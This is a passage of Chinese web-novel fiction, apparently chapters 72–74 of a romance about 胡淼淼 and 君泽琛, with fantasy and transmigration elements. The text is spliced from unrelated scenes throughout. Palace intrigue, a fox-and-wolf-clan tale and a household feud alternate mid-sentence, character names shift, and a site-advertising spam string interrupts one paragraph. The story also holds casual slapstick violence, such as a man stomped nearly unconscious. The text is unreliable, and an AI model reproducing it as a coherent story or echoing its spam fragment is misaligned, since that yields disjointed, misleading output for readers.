怎么可能,琛王这样的男人,怎么可能有这种情绪? 胡淼淼淼望着那双给人十分温暖的手,抿嘴摇头:“我现在是琛王妃。” 又怎么会想其他人?君泽琛:“?”倒不如什么? 他心里的火气上来了,扣住石头栅栏的手指竟硬生生镶嵌进去几分,只能对方亲近自己之时扭断她脖子。 突然他动作一顿,耳边听到一阵阵脚步声,正朝着这边到来。 不能杀…… 要杀也不是在皇宫。 君泽琛中了药,脑子混沌,仅存的理智处于朦胧之中,在他犹豫之际突然感觉臀部一痛,整个人翻身下坠,在掉下去的一刹那,他听到…… “走你~” 君泽琛:“???” 直到掉入湖水之中,清凉之感让他头脑一清,身体中的火热有所缓解,君泽琛才没破水而出。 石桥上,一众人赶来,目瞪口呆地看着自家公主收回脚的一幕,集体僵硬在原地。 翠花腿一软。 “公……公主?” 胡淼淼优雅地收回脚,对他们颔首:“去几个会水的,别让人淹死。” 她想,这男人长得这么美丽动人,为了防止便宜旁人,倒不如让他去水里缓解,她真是太机智了。 翠草几人一听,慌了:“公主,我们不会水!来人啊,快来人啊,有人落水了。” 胡淼淼:“……” 失策! 正在胡淼淼风中凌乱之际,一道黑影从树上飘下来,犹如展翅的雄鹰,黑衣翻滚,眨眼之间就把君泽琛的脑袋捞出来。 问为什么是头呢? 因为黑衣人不确定君泽琛有没有压抑住药,多泡一会比较稳妥。 “滴答滴答~” 水滴顺着脸颊肆意流淌,划过下颚重新归于水面,荡起一片片涟漪,男人睫毛轻颤,睁开眼就见到一个黑衣人正用死鱼眼看着自己。 他:“……” 这辈子从没这么狼狈过……这梁子结下了。 胡淼淼只觉得鼻子一痒,压抑着打喷嚏的冲动,对翠草摆摆手:“没事了,本宫打算去看看公主府。” 先皇给原主下达旨意,等孝期满了,就可搬去公主府居住,她想着皇宫森严,做什么事都不方便,等到公主府再想办法远离京城跑路。 到时候她可以找个小地方过自由自在的生活,再也不用担心那狗世子造反弄死她了。 怀揣着某种美梦,胡淼淼美滋滋。 “公……公主,您怎么这般对待君世子?世子身体不好,您还是快让他上来吧。” 胡淼淼脸上笑容一僵:“你说谁?” “回公主,君世子。” “君什么?” “镇北王府君世子。” 胡淼淼风中凌乱,不死心地继续问:“君泽琛?你确定不是君冬梅?” 更何况,那个男人,她已经不爱了。 说来奇怪,胡淼淼自认不是无情之人,就算君子华不仁不义,三年在一起的光阴,又岂是说忘就忘的? 偏偏,她似乎真的不在意了……富源扯着嗓子:“何人敢惊扰……啊?三王爷,您这是?” 富源话说一半,就感觉跪在地上的人有些面熟,这张挂彩的脸庞,可不就是三王爷吗? 他哎呦一声,赶紧把人扶起来,有些责怪:“三王爷这是怎么了?谁把您打成这样,告诉皇上,让皇上为您做主……” 君子华脸色铁青拂袖站起来,这时候众人才想起来参见皇上,只不过一些人第一件事就是奏琛王一笔。 部分人怕被君泽琛报复,冯太傅可豁出去了,他颤巍着老骨头开始告状:“皇上,您可算来了,琛王目无王法,竟然在龙乾殿对三王爷拳脚相向……” 他巴拉巴拉说了一堆,富源脸色一白,迅速站在皇上身后不敢吱声了。 开玩笑,他刚才说了什么来着? 让皇上给三王爷做主,那岂不是让皇上处置琛王? 借他几个胆子,也不敢当琛王的面说啊…… 而皇上听到这话,眼睛眯了眯,不怒自威:“琛王,这里是龙乾殿!你还把不把朕放在眼里!” 众所周知,皇上看琛王不顺眼很久了,只是一直没找到处理的借口罢了,难道这次要向琛王开刀了? 朝中大臣心下一凛,各自若有所思,皇上那边人幸灾乐祸,琛王这边的满面愁容,暗叹琛王今日是怎么了,这么冲动…… 然而,君泽琛站直身板,背脊挺拔的像是一支利剑,气势卓然,他勾出一笑,狂傲不羁:“皇兄,小三儿当众口出妄言,意图染指皇嫂,实乃不伦,作为皇叔,理应教训一下他。” 嚯~ 不少人闻言干瞪眼,琛王的脸呢? 明明就是琛王抢了人家新娘子,这回又用皇婶压制三王爷。 简直……有辱斯文。 原谅这些文人吧,他们大概只会用这次词语来概括君泽琛了。 胡淼淼收琛思绪,微微看向身边的男人,这段时间,是他陪自己度过的。 一句“琛王妃”代表了胡淼淼的态度,君泽琛心头一松,不过他并没放松多少,前世的场景他历历在目。 淼儿为了那个男人蹉跎了青春,到最后还牺牲性命救那人的孩子,任何隐患,都要彻底杜绝。 这么想着,握着胡淼淼的手紧了紧,“不管你怎么想,那个人不适合你,他能被猪油蒙了心,伤害你一次,就会有很多次,既然做出了决定,有时候不妨看看其他景色,总有一个风景在等着你。” 他这话说的有些露骨,也是第一次敢在胡淼淼面前吐出心中想法,但他知道,这辈子要抓住任何机会,怯懦只会重蹈覆辙。 这一刻,君泽琛满脑子都是给君子华穿小鞋,然后再……推销一下自己。 他目光灼灼,语气郑重,胡淼淼一愣,随即点头:“琛王说的是,我不会给他机会伤害我第二次……” 至于其他风景…… 胡淼淼扫了他一眼,垂下眸子,被他捂着的手一片火热,可心中却不作他想。 毕竟,没有人,会喜欢一个病秧子,琛王之前说过娶自己的目的。 她奇怪的在他头上上蹿下跳,他都没有任何反应。 没关系,应该是地下有那么多狼在,君泽琛不好意思吧。 于是胡淼淼等啊等,等到君泽琛回寝殿。 不知怎么寝殿的布局有变化,没有他们布置得温馨,连头上的牌匾都写着女妖禁止入内。 和胡淼淼来狼族之前的那个牌匾有几分相似,却没有狐不得入内。 她奇怪地瞅了瞅,就跳上君泽琛的肩膀,歪着脑袋问:“为什么不是狐狼之家?” 他依旧戴着狼面具,冰冰冷冷地没有回答她。 胡淼淼心里有一种说不出的怪异感,又趴在他耳朵边嘀嘀咕咕: “嘬嘬?” “君泽琛?” “夫君?” “你理理我嘛~” 冷不丁的,君泽琛理她了,说出来的第一句话却是:你是什么东西? 第 72 章 第 72 章 君泽琛不认识胡淼淼。 胡淼淼用很长时间才接受这个事实,期间她多次在狼王身上试探,用爪子拍他的面具,用嘴巴咬他的耳朵,用尾巴缠住他的脖子,甚至变成人形去亲吻他的薄唇。 然后狐就被凶了。 君泽琛说得很难听,说她不知羞耻玷污他清白。 冤枉啊,他们不是夫妻吗? 亲亲自己夫君怎么了? 小狐狸不理解,小狐狸大受打击,飘到寝殿外的牌匾处气鼓鼓地挠了小半个时辰,把牌匾挠成一条一条的才自己把自己哄好。 君泽琛看不见胡淼淼,却能听见牌匾上的声音,他懒懒地抬了抬眼皮,等消停下来,用术法恢复。 过了两日,胡淼淼终于发觉到古怪之处,往日她在外面横着走的时候,狼族都会避开她。 而这一次,她把爪子踩在其他狼的脑门上,他们都没有斗鸡眼。 很不对劲儿。 他们看不见她, 君泽琛是不是也看不见她呢? 不,他既然问她是什么东西,并在她亲吻他的时候骂她 ,就是能感应到她。 不知是不是胡淼淼的错觉,她感觉阿冤的目光瞬间就委屈了起来,好像是出门打工的丈夫回家发现妻子在房内偷吃,捉.奸在床…… 呸~什么乱七八糟的。 她讪讪:“阿冤,起这么早啊?” 阿冤悠悠道:“去莲花池采摘莲子给之之做莲子羹,可是之之好像不太喜欢我做的膳。” 都说好的,以后天天给她做好吃的,结果他出去的一会儿,回来已经吃完了? 君泽琛目光幽幽,瞥向那张犯罪的唇,夭吾贰貳七五儿爸一每日更新最新完结文刚吃完粥,浅色的杏色唇透着几分晶莹,饱满丰盈,此时正噙着一抹心虚的笑,犹如偷吃被抓拿归案的馋嘴猫,舔着嘴角装无辜,昨日,她亲手用筷子喂他糕点…… 害得他一晚上没睡觉,早上起来还特意想让她吃点好的。 结果……偷吃了!!! 君泽琛藏着眼底的负面情绪,那张妖冶的面容上肉眼可见的委屈,控诉。 “罢了,不喜欢吃我做的,就不要勉强。” 男子再次悠悠叹了一口气,落寞地转身走进自己的房间。 砰的一声,关上了门,徒留尚且没反应过来的胡淼淼风中凌乱…… 天! 这就生气了? 虽然不应该,但是胡淼淼无药可救的发现,有一点点可爱是怎么回事,不想哄,甚至还想让他更生气。 不,人不能,至少不可以。 她扶额,这小脾气,她一直以为他没睡醒,哪知道去给她准备早饭了? 不过……莲子羹,好像很好吃的样子,摘都摘了,不做怎么行? 思及此处,想睡回笼觉的瞌睡虫跑了一半。 胡淼淼跑到紧闭的门前,轻轻敲了敲,温声哄道:“你开下门,听我解释。” 房门嗖滴一下打开,男人开门,满脸写着“我不听我不听”可是动作却很诚实。 胡淼淼仿佛看见,那火红色小狐狸悄悄竖起耳朵,听她狡辩。 这种一看就很好哄,走个流程而已。 “我昨天一夜没睡。” 同样一夜没睡的君泽琛挑眉,没骨头似的靠在门框边,双臂抱胸,静静听着小骗子狡辩。 小骗子面不改色忽悠:“人不睡觉体力消耗的就很大,所以等于我饿了一晚上,早上起来的时候你又不在,我饿的胃疼,所以想找点吃的垫垫胃,正等你回来做膳,结果你…” 她做出欲言又止的模样,本身长得就十分有说服力,长得那么漂亮,笑起来那么好看精致的女子,满脸认真看向你的时候,换谁心不酥? 然而,楼泽琛却知道,她笑得温暖,心是冷的,真诚起来也是假的。 小骗子…… 无声在心里念叨了三个字,君泽琛视线落在小骗子上扬的唇角,轻声问: “现在还饿吗?”一向好欺负的大冤种生气了怎么办? 答案是——哄着呗! 从胡淼淼认识阿冤以来,阿冤一直都很听话,今天竟然因为一碗饭罕见的闹起了小脾气。 为了一口吃的,胡淼淼把所有耐心都用上了,甚至在一旁跟着剥莲子以表悔过之心。 可惜,男人并不买账。胡淼淼刚一开门美男就抱了个满怀。 行,失忆了也没傻,知道告状。 “踹你哪了?” 胡淼淼扶住他,细细打量一遍,他除了衣袍有些凌乱一时之间看不出哪里受伤。 君泽琛瞥一眼门外,靠在她身上,“腿!” 胡淼淼顺势看过去,长袍挡着,还是看不见具体情况,抬手拍了拍狐狸头,“给你报仇去。” 另一边,梁昌荣早就已经被众人按住了,他好像泥.泞中打滚的蠢猪,胡乱扑腾,灰尘四起,头发凌乱,衣衫不整,脸色醉醺醺的,盯着阿冤大骂:“你个不正经的男狐狸精,没用的小白脸,大晚上勾引我女人,都是你……贱人!” 如果不是这个男人,他怎么会出此下策着了王芋儿的道。 胡淼淼会是他的,胡家也是他的,而不是被迫娶一个没名没分的私生女。 一辈子顺风顺水,梁昌荣从没受过什么屈辱,偏偏王芋儿是胡家人,他不能随意当妾处置。 淡蓝色裙摆停在眼前,梁昌荣眼前有些模糊,摇摇晃晃抬头,看见那张梦里都会出现的脸,顿时想抱胡淼淼的腿。 “表妹,在给我个机会,我只喜欢你,那女人我会休掉,然后娶你,一个私生女怎么能比得上你……” 手落空,对方毫不留情的躲开,胡淼淼居高临下睨他,犹如看地上渺小的蝼蚁。 仅存的柔情碎裂,他露出丑陋的面孔,大骂: “胡淼淼,你会后悔的,你会后悔,不嫁给我,贱人,都是贱人,你们这对儿狗男女。” 黑夜中,辱骂声越来越难听,按住梁昌荣的下人蹙眉,正要把人拖走。 然而下一秒,声音戛然而止。 “砰”的一声,夜间只剩下蝉鸣。 众人一阵错愕,呆若木鸡地看着他们文弱,善良的大小姐,一脚狠狠踩在人的脑袋上,唇角还挂着危险的浅笑。 “你说什么?我没听见,大点声。” 阿冤甚至剥了莲子,放在灶台上让张大勺动手。 张大勺夹在中间一个头两个大,想破脑袋也想不明白,不就是做个饭的事儿,怎么把事情闹得那么复杂? 他摇头,“公子,您最近不是特意学的厨艺想做给小姐吃吗?” 君泽琛瞥一眼剥莲子的某人,叹息,“可是她好像不大喜欢……” “谁说的,我喜欢极了。”胡淼淼接话,开始渣言渣语,“你做的我都喜欢。” 君泽琛没说话,可那垮着的狐狸批脸,哀怨的眼神明晃晃的控诉胡淼淼偷吃行为。 其实吃个饭的事儿,谁这辈子也不能只吃一个人的,根本没有道理。 然而每次君泽琛用这种眼神瞅她,胡淼淼都有一种心虚的错觉,她想,这大概就是人长得好看做什么都是对的。 就好像家里养的小猫咪,你摸了别人家的宠物,回家被自家猫咪骂骂咧咧还觉得它可爱一个道理。谁让他好看呢,他能有什么坏心思。 当着张大勺的面不好多说什么,于是胡淼淼拉着君泽琛走到门口小声嘀咕,“错了行不行?以后就吃你做的。” 她一边说一边抬头瞄着某人脸色,为了这口吃的也是蛮拼的。 彼时,胡淼淼并没有发现他们之间的距离非常近,近到君泽琛一低头能清晰看见,阳光下她那如同蝶翼的睫毛根根分明,在眼睑处投下浅浅的阴影,仰头望他的时候,黑白分明的眸子里满满都是他。 娇嫩玉润的唇瓣,谈吐出来的音调柔声轻哄,好像情人之间的呢喃。 她是极其有说服力的,善于伪装,把人骗进去还甘之如饴,说话的时候,眼神真诚,句句誓言,哄死人不偿命。 意思是,还给做? 胡淼淼眼睛一亮,点了点头暗自感叹,这捡来的男人漂亮贤惠还好哄,除了刚见面时的不愉快,其他都十分完美,简直赚了。 然而下一秒…… 她心中的大冤种开口,“我做的没有张大勺好吃,一会我把莲子送到他那里,让他帮你做吧。” 说着,他转身端起今日早上摘的莲子越过胡淼淼向灶房走去,空气中幽幽的梅香飘远,胡淼淼懵逼在门口。 慢半拍的想,好像……没哄好? 他的寝殿被一只不知长什么样的小妖闯入,岂有让她安然无恙离开的道理? 他眼皮掀了掀,目光准确锁定床上的位置,原本整洁的床上到处都是褶皱,被角会随着猫妖的滚动而晃动,通过滚动痕迹,能清楚地捕捉到她的运动轨迹。 “小妖。” 胡淼淼突然竖起耳朵,疑惑地看一眼他的方向。 这段时间君泽琛都对她爱答不理的,怎么突然叫她? “过来。” 小狐狸低头叼住毛团子,哒哒哒跑过去。 还挺听话。 君泽琛在心里想着,然后道:“曾经有一只狐妖,藏头露尾潜入本王的寝殿,就在床上。” 胡淼淼:“!” 男人漫不经心道:“后来,那张床磨成了灰,伴随着那女人的骨灰,一起撒河里喂鱼了。” 胡淼淼:“!” “所以,你打算隐身到什么时候?” 言下之意,上一个隐身的骨灰都洒了,你有什么想法吗? 君泽琛等着小妖跪地求饶。 然而他等啊等,小妖没来求饶,反而抛弃了狼毛球,风风火火飘出去,他的大门被撞得大敞四开,一阵阵寒风呼啸而来。 狼王沉默半晌,起身追了出去。 第 73 章 第 73 章 狼族在几十年前就摆脱掉部落的习俗,向往人间的繁华,一座座殿宇盖起,存封的是狼族的野性和血气。 胡淼淼所见的狼族是和平盛世,和狐族的那种生在深山里一点都不一样。 狐族都在传狼族怎样凶残,她没见过。 对狼族的所有幻想都是从别人言语中得知,以至于她之前那么害怕狼,然而对现在的小狐狸来说今非昔比,狼王的恐吓已经不重要了。 她在整个狼族上蹿下跳,终于在狼族边缘找到一处小河,她在河边来回踱步,时不时往里张望,猜测可能是狼说的那条河。 水流有些深,隐约能看见有橙红色的小鱼来回游动,她舔了舔唇角。 “你还会做饭?”胡淼淼震惊过后,发出疑问。 “会的不多,正在尝试,你尝尝,若是不好吃,就不要勉强了……”君泽琛也想到自己只是看了两遍就学会了,甚至觉得张大勺的做法处理的不够好,下意识按照自己的思维做,熟练的他都有些怀疑…他以前就是做这个的。 不过这也挺好,至少能够控制她的胃……回想起胡淼淼刚才的表情,君泽琛有些贪心,想要更多。 胡淼淼尚且不知男人那张好看的皮囊下还有那么多戏份,轻轻提起裙摆落座,然后执起筷子直接夹住小狐狸形状的糕点,毫不怜香惜狐,直接放入口中…跟预想的一样,软糯香甜,饱满的糯米香在味蕾绽放而且还不腻,也不会粘牙,舌尖轻轻一卷发现竟然是红豆馅儿的。 “怎么样?”“在听…”君泽琛的嗓子有些哑,“之之,什么需求都可以说吗?” 胡淼淼耳朵一麻,沉寂的心竟然也跳了半拍,后知后觉发现阿冤的眼神有些不对劲儿。 他虽生了一双惑人的狐狸眼,瞳仁却很浅,看向人的时候又纯又欲,现在好像沾染上些许其他色彩,浓郁得有几分惊心。 这段时间放松的警惕心瞬间拉满,她的肌肉紧绷了起来,下意识升起防范。 “你手上的莲子,看起来很甜。我能先尝尝吗?然后再决定看看做什么味道的…” 胡淼淼回神,发现刚才的一切好像是错觉,君泽琛依旧和以往一样,睫毛乖巧的随着眼眸垂落,不似刚才那般闹别扭,明明长得比胡淼淼高出很多,却依旧给胡淼淼一种他小动物似的,蹲着她身边晃悠着大尾巴,眼神湿漉漉看着她等待回应。 刚才的是错觉吗? 是吧,这么简单的要求而已,吃莲子,又不是吃她紧张什么。 误会了某人,加上君泽琛的脸太有欺诈性,这一刻,胡淼淼的心有些软,便颔首应允。 打算把手中的莲子递过去,却不想下一瞬,身躯如竹笔直的男人弯下了腰,恰巧一缕清风吹过,他头上的红色发带松散,墨色长发披散下来,带着淡淡的梅香,胡淼淼眼前压下一道阴影,一阵温湿的触感让指尖微微泛麻。 她不敢置信,男人却已经叼走了她手中拨好了的莲子,薄而红润的唇正抿着笑,蔫坏蔫坏的,翘起了狐狸尾巴。 好欠揍! 微润的触感仿佛还停留的手上挥之不去,胡淼淼痒得想打狐狸。 “你怎么……” “小姐,原来您在这啊~” 夏小荷带人回来找一圈,才在灶房找到胡淼淼,“小姐,事情都办妥了,您是没看见那女人的脸色,我死三天都没她白,呸,不是,湖水臭了三天,都没她绿。” 听这得意洋洋的语气,不知道还以为林桃秀的脸成为调色盘了,胡淼淼收回手,装作什么事情都未曾发生,捡起那不老实的发带塞回君泽琛怀里。 “行了,莲子也吃了,说到做到,做饭去,还饿着呢。” 君泽琛眨眼的功夫,那女人已经带着小丫鬟跑了,河都没过就拆桥。 他默默咬碎了衔在口中的莲子,青涩的苦味绽在味蕾,而后是淡淡的甜意。 胡淼淼感觉身边压下来一道阴影,一侧头发现男人坐在自己身侧,妖娆之中又透着清润的狐狸眼正期许地看着她,目光之火热仿佛要是说不好吃,他就能嘤嘤嘤用眼泪浇死她。 咦,什么奇奇怪怪的想法,更想欺负他了……可是想想刚才阿冤孤立无援站在南厅,胡淼淼叹气。 阿冤那张昳丽的脸色顿时紧张起来,好像以为她会说不和胃口,可怜兮兮的,胡淼淼忍不住乐了。 “好吃,你也尝尝。”梁昌荣:“…………!” 梁昌荣整张脸埋在地上说不了话,脑瓜子嗡嗡的,脸上一片窒息的麻木,眼前阵阵发黑,头上的重量仿佛当头一棒,疼得他浑身发颤。 长这么大,梁家人细心呵护之下,梁昌荣从未被责打过,仅有的几次,还都是因为胡淼淼。 受伤的部位还都是脑袋,上次那花瓶让他修养好几天,而这次,仅仅一脚却比上次被花瓶砸得还要疼。 有那么一瞬间,梁昌荣以为自己已经离开了这个世界。 “怎么不说了?刚才不挺爱说的吗?抬脚踹人是不是很刺激?我觉得也是,就是脚感不怎么样。” 已经看见卖汤老婆婆的梁昌荣:“……” 按住梁昌荣的众人:“……” 小姐好腿力! 殊不知,胡淼淼根本没下死手,换作在末世的踢法,梁昌荣现在已经爆头了。 在场唯有一只狐狸精没有太震惊,君泽琛站在门口,眼巴巴看着自家之之替自己出气,唇角上扬了不知多少度,如果有尾巴的话,现在肯定在身后摇啊摇,他心里透着几丝愉悦,丝毫没有被人维护,属于“弱者”的羞耻感,反而很享受…… 等察觉梁昌荣有气出进气少后,胡淼淼收回腿,整理了一下衣袍,对下人笑道,“可以了,明日还要去上香,快带表少爷回去,免得明儿早错过了时辰还要我们等他。” 众人:“……” 能活着都是奇迹,还想明天早上起来? 他们被狠狠震惊住了,赶紧把梁昌荣送回去,希望他明天早上能起来。 大晚上的,到处找在自家少爷的小六在门口看见自家少爷半死不活的模样,整个人都懵了。 他看着少爷满脸青肿,牙磕到嘴哗啦啦流血,以及粘上的灰土有些眼熟,“是谁,敢这么对我们家少爷?你们胡府怎么搞的?那么多人保护不了一个主子?快去查到底谁干的,我一定让香夫人为少爷做主……” 府上下人麻着脸,“你家少爷夜闯我们小姐闺房,被小姐不小心打成这样的。” 小六一噎,突然想到自己当初被揍的恐惧,住了嘴,赶紧找大夫救人。 神仙打架凡人遭殃,小姐少爷的事他少管。 顺势夹住碟中另外一只小狐狸的狐狸尾巴,塞入那张红润的薄唇中,语气中带着揶揄,“和你很像,红豆馅味儿的。” 君泽琛被她这种举动弄得直接呆滞在原地,这次是真傻了。 脑子嗡了一下,视线盯着离开自己的那双竹筷,看见它夹紧了一块肉,触碰女子丰/满的唇…… 也不知是夏季太热,还是什么,周围的景色都模糊住了,君泽琛脑子闪过很多想法,犹如平静的湖面掀起惊涛骇浪,久久不曾平息。 最终,他听到自己嗓音有些哑,“那我每天都给你做……” 当天晚上,胡淼淼想让阿冤等她睡了再走,可是今天的阿冤表情奇奇怪怪的。 有点像受了刺激,明明吃饭的时候还好好的,当然胡淼淼也不会强迫他。 于是,晚上睡觉又失眠了第二天起来的时候无精打采,犹如抓了一夜老鼠的猫懒洋洋瘫在梳妆台前,任由夏小荷捣鼓。 等梳妆完毕,隔壁依旧是没有动静,胡淼淼吃着张大勺的清淡小粥,回忆起昨天下午的膳食,不由得轻哼,“呵!男人~” 说好的经常给她做饭吃呢?这都没影子了。 隔壁静悄悄,也不知道人在里面干嘛,胡淼淼的话夏小荷没听太清楚小声问,“怎么了小姐?” “没什么,等会你带人去一趟林府,把林桃秀之前欠咱们的东西都拿回来。” 夏小荷点头应了一声,便带着人去,担心对方抵赖,还特意找了府上比较强壮的小厮。 她走后,胡淼淼本来还想睡个回笼觉,刚从窗边起身,便见阿冤从院外走进来。 又过了一会,小狐狸哒哒哒凑到灰猫身边,“你真的不吃吗?很好吃的。” 灰猫身体似乎也不怎么好,瞅着上了年纪,应该补补。 然后她听灰猫似乎不耐烦了,语气凶巴巴:“有肉的你不吃,非要啃骨头,能好吃到哪去?” “哦。”小狐狸眼睛暗淡下来,叼着剩下的骨头去一旁啃了,并没有看见灰猫别开的眼睛里,隐隐闪烁着的晶莹。 狐狸还太小什么都不懂和软包子似的,没有他,她该怎么办…… 接下来的一段时间里,小狐狸发现灰猫似乎更凶了,早上被灰猫拍醒,说:“起来,你年纪轻轻怎么睡得着,我教你捕猎技巧。” 狐狸用肉垫揉揉眼睛,睡意朦胧地打了个哈气,“什么是捕猎?” 灰猫被哽了一下,好半晌才找到自己的声音,“想不想吃鱼?” 她的眼睛瞬间亮了。 “想!” 第 74 章 第 74 章 狐狸幼崽学习捕猎之时,正是大狐狸作威作福之际。 大狐狸没大没小,当着狼王的面嚣张过后消失整整三个月。 狼王有三个月没修炼。 自从他成为狼族的王,已经很久没有妖敢对他不敬,还敢大放厥词不让他睡床? 床是他的,想怎么睡怎么睡。 君泽琛一般不记仇,坐在这个位子上他深知斩草要除根的道理,所以他有仇当场就报。 唯有那只猫崽子得罪他后,悄然从他指尖溜走。 梁昌荣二人的事情算是这样定下来了,老夫人每隔一段时间,就会去成安庙烧香拜佛。 梁家对于这门婚事颇有意见,但一想不管怎么说王芋儿也是胡家人,有老夫人顶着,不敢轻易得罪。 勉强算是同意,让他们去寺庙求个好日子。 同时,老夫人也叫上了胡淼淼,说她是胡家嫡女,是要主事的,不能天天在家里窝着。 那些人是非多,胡淼淼拒绝了一次,可架不住总被派人叨扰,只能点头同意了,大不了到时候在马车上不下来。 在约定上山的前一天晚上,梁昌荣醉了酒,发疯到了淼苑,被胡府下人拦住。 胡淼淼本来已经睡下了,奈何对方动静闹得那么大,她哪怕睡觉也留有一丝戒备,正要睁开眼睛,旁边的人已经先有了动作。 六七月的夜晚闷热,偶有蝉鸣,门被轻轻关上。 屋外是梁昌荣不敢置信地大嗓门:“你怎么在她房间里?” 胡淼淼扶额起身,微微叹了口气。昨天任务失败,胡海香回去问梁昌荣怎么回事,她想了诸多可能,都没想到竟然是因为王芋儿给他出的主意,好好的计划都泡汤了。 气得她骂梁昌荣无用,但转念一想,这也不全是她儿子的错,好端端的,那丫头怎么会突然找上他儿子,还正巧阴差阳错,她代替了胡淼淼掉入水里? 阴谋,跟她那贱皮子娘一样,恨不得看见男人就送床上去,一定是相中了她儿子。 换做平常,有人喜欢上自己儿子,胡海香会觉得很骄傲,说不定大发慈悲,给那女人个妾室当。 可是对方一看就不是个老实的,还让到嘴的鸭子飞了,胡海香说什么也不会让王芋儿入梁家的门。 昨天晚上找上王梦瑶,阴阳怪气警告一番,原以为这事就算完了。 然而,一大早上,梁昌荣掉进了水里,差点救不回来,王梦瑶也不是吃素的,带着女儿王芋儿假惺惺去探望,彻底惹恼了差点失去宝贝儿子的胡海香。 往日虚情假意统统撕破,胡海香当众羞辱,“我儿子这样,还不是因为你女儿丧门星,小小年纪就知道勾引男人,昨天给我儿子投怀送抱,今日我儿子就变成这样了。” 梁昌荣还在床上昏迷,两个女人吵得不可开交,直接把事情闹大了,搞得府上人尽皆知,新回来的私生女小姐,竟然跟表少爷搞到了一起,一时之间,一传十十传百。 “听说了吗,表少爷落水另有隐情,全都是爱恨情仇。” “什么?表少爷和王姑娘在一起,香夫人不同意这门婚事,今天一早私奔失足落水?” “不对不对,你们这可说错了,明明是……”早知道不喝了。 “罢了。”一路上,夏小荷给胡淼淼讲去林府的事儿,昨儿当着众人面,林桃秀说要奉还胡淼淼赠与的东西,可实际根本没放在心上。 毕竟原主的软弱根深蒂固,根本做不出来上门要东西的举动,未曾想胡淼淼这次不做人了,大张旗鼓上府上讨要,闹得门口全是人。 恰巧有翰林院的同窗来找她父亲,碰见了这场面,林大人里子面子都被这个女儿丢尽了不说,而后发现林桃秀偶尔发脾气摔碎的首饰,根本不够赔给胡家的。 没办法,他动用了林府的库房,掏空了大半才补上胡淼淼的账单。 胡淼淼大致扫一眼,发现原主比阿冤还冤种,胡家若是财力不丰厚,根本不够她造的。 细细数下来,仅仅送林桃秀的,就有三箱子,价值几千两银子。 “小姐,这些东西怎么处置?放回胡府库房吗?” 胡淼淼扶额:“都是被人用过的,去当了换成银两。” “好!”夏小荷点头,随后像是想到什么,开心道:“对了小姐,我刚才回来的路上听说今儿早上梁少爷掉河里了,差点没捞上来。” “又掉河里了?”胡淼淼诧异,“这次又是救谁?” 也不怪她这种想法,昨天那厮有前科,今天也不是没可能的,那么大的人,总不能自己摔下去的吧? “小姐,是他走路自己摔下来的,本来表少爷会游水的,听说还特别倒霉掉水里的时候撞到池边,脚磕脱臼了,若不是有下人发现的及时,估计凶多吉少了。” 胡淼淼:“……”总感觉哪里不对劲儿。 “之之,莲子羹熬好了!” 胡淼淼瞬间将这件事情抛之脑后,君泽琛做的莲子羹果然没让她失望,和清淡的粥米不同,他还掺了其他食材,吃起来酸甜爽口,配了小菜 ,莲子熬得恰到好处,外软里脆,一咬直爆浆,处理掉苦味,甜滋滋的。 胡淼淼很满意,狠狠吃了两大碗,要第三碗的时候被狠狠制裁了。 “没了?”与此同时,胡淼淼那边,有女主雪无双,衡二的性命勉强救了回来,不过也要休养好几个月。 他老家有老有小,这几个月几修养买药也需要花不少钱,胡淼淼给了他十两银子,算是他十月的月俸,然后让夏小荷记着点去梁府要。 夏小荷已经唯手熟尔了,完全不在话下。 胡淼淼把衡二安排好,衡二哪怕受伤到意识模糊,嘴上也念叨着什么,胡淼淼知道他是在感激自己,便道:“不必,等你好了,我需要你帮我做一件事。” 至于雪无双,胡淼淼本来想把人挖回府上,无奈女主一心悬壶济世,救完人婉拒她的好意选择离开。 原著中这个女主是个孤儿被神医收养长大,等神医死后游走世间,后来好像找到自己的身世,可能是男主帮她查的。 胡淼淼只隐约记得主线剧情,具体没怎么细看。 更何况这些都跟她没关系,只是可惜这么好的女子跟了个像反派一样的男主。 胡淼淼记得文里的人物包括男主的下属,十个有九个骂男主变态,另外一个就是女主不会骂人。 啧! 微微摇了摇头,突然嘴角的笑意一僵,她同情什么女主? 家里还有个祖宗! 答应好给人家买礼物,昨天没回来不说,现在她还在外面收拾烂摊子。 君泽琛:“就采这么多莲子,而且你今天早上不已经喝一碗粥了吗?” 胡淼淼眼皮耷拉了一下,确实有点撑,君泽琛开口:“天天给你做,不急于一时,你还是先睡会吧。” 说得对,胡淼淼昨天失眠,如今吃饱喝足了,困意袭上大脑,捂嘴优雅地打了个哈气,准备回去睡回笼觉,进屋之前,还不忘拖走收拾碗筷的君泽琛当催眠工具。 这次君泽琛倒没像昨天晚上那么闹别扭,顺从的跟着人身后进去,徒留夏小荷欲言又止。 小姐和姑爷还没成婚,这样不太好吧? 胡淼淼没睡多久,中午的时候整个胡府热闹了起来。 等到下午胡淼淼醒来,听到的版本就是——表少爷和王芋儿不知羞耻,寻求刺激,在池边野.战被发现,王芋儿匆匆逃走,害得梁昌荣差点溺水而亡。 对比之下,胡淼淼带来个野男人回家,也不是那么骇人听闻了。 披了一件轻薄的外衣,倒也没出去,支撑下巴等着贤惠的男人把虫子赶走。 她听见自家小狐狸男在门外说:“她睡了。”这话没法接,她尬笑:“是是是,公主成大姑娘了,有当年姐姐的风范,可这抄书一事,请公主殿下从长计议。” 胡淼淼闻言美眸动了动,落在那满脸褶皱,笑出强大的脸,不动声色别开视线,深以为然:“嗯,坤王妃放心,等三个月后本宫会从长计议的。” 叶氏脸色一僵,这三个月,惩罚不都罚完了吗? 到时候还用她思考? 长公主怎生这般难缠,曾经她虽然任性,可也不至于六亲不认,胡淼淼才不会去考虑她想什么,她袖子下面的手无聊地跳手指舞,袖子外依旧端庄秀丽,哪怕一身素衣,依旧难当无双的容颜。 她睥睨叶氏,终发出最后的警告:“养不教,父之过,如果坤王妃再继续纠缠下去,本宫难免会怀疑,这背后有什么人在指使,到时候闹到前朝,本宫可是保不住你们。” 如果闹到前朝,牵连到坤王爷,哪还有好果子吃? 叶氏总是又万般不满,也只好憋回去,临走之前胡淼淼在后面提醒:“本宫派过去的丫环会每日禀报,便劳烦你们照君了。” 翠草不是爱和奇思郡主玩吗? 那便玩个够…… 叶氏脚步一顿,虚虚地行礼快速离开。 她怕再不离开,心里压不住火。 胡淼淼看着她离开的方向眯了眯眼睛,起身优雅地伸了个懒腰,犹如猫儿般迈着步伐回寝。 “哎呀,和这群牛头马面说话真费心思,难搞,头疼。” 跟在长公主殿下身后的一众宫婢:“……” 是的,浪费口舌欺负人可真让您辛苦了。 虫子大概喝太多了,舌头有些打结,声音盖过了蝉鸣,比蝉更加聒噪。 “我吱……知道,我问的是你为什么在她房间里。” 